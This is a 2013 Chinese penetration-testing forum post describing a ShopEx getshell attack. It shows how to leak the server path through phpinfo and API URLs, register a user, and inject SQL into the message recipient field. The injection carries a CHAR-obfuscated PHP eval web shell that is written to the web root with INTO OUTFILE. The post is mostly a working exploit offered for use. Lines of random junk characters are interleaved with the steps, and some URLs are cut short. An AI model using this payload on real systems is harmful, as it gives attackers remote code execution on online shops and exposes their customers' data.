中国网络渗透测试联盟
标题:
shopex前台普通用户getshell最新漏洞
[打印本页]
作者:
admin
时间:
2013-2-27 21:28
标题:
shopex前台普通用户getshell最新漏洞
第一个：想办法找到目标网站的绝对路径
+ T* d, s4 K, S o) H; g4 t2 `! }1 n
3 s4 {6 H1 k( a6 Z G, L4 {
http://www.political-security.com/install/svinfo.php?phpinfo=true
: l0 i( P- o" Y0 \
2 t2 L% s. z9 O/ w) `: F: I
http:/www.political-security.com/core/api/shop_api.php
6 C6 u# u# W! l
4 m/ E/ x* `! c
http://www.political-security.co ... api_b2b_2_0_cat.php
" h& O/ p; f# g k7 _
6 L0 c0 ]+ f# q
http://www.political-security.com/core/ap
... b_2_0_goodstype.php
( \; @# C% k, l4 F6 {* Y, e2 f0 C: T g
5 }8 a- S: @+ X( I$ T
http://www.political-security.co ... i_b2b_2_0_brand.php
1 M. ~. S7 a9 s' v
第二个：注册一个普通用户
1 j& Q4 u5 P6 j0 `
' |: G0 l) |6 d. }
http://www.political-security.com/?passport-signup.html
. e+ D, B v4 i1 R ]1 m
) w% O/ N: _, k7 N7 [7 I" ?
第三个： 发送消息
& s8 y/ z/ P+ e& x, [! D" Y
4 j+ I% Z0 v8 @5 }% o, N+ G9 g
http://www.political-security.com/?member-send.html
5 T2 C2 ~6 J; z' D% ]+ {* M
发送给中填写
1 n) f X3 ~3 _) d
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' #
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2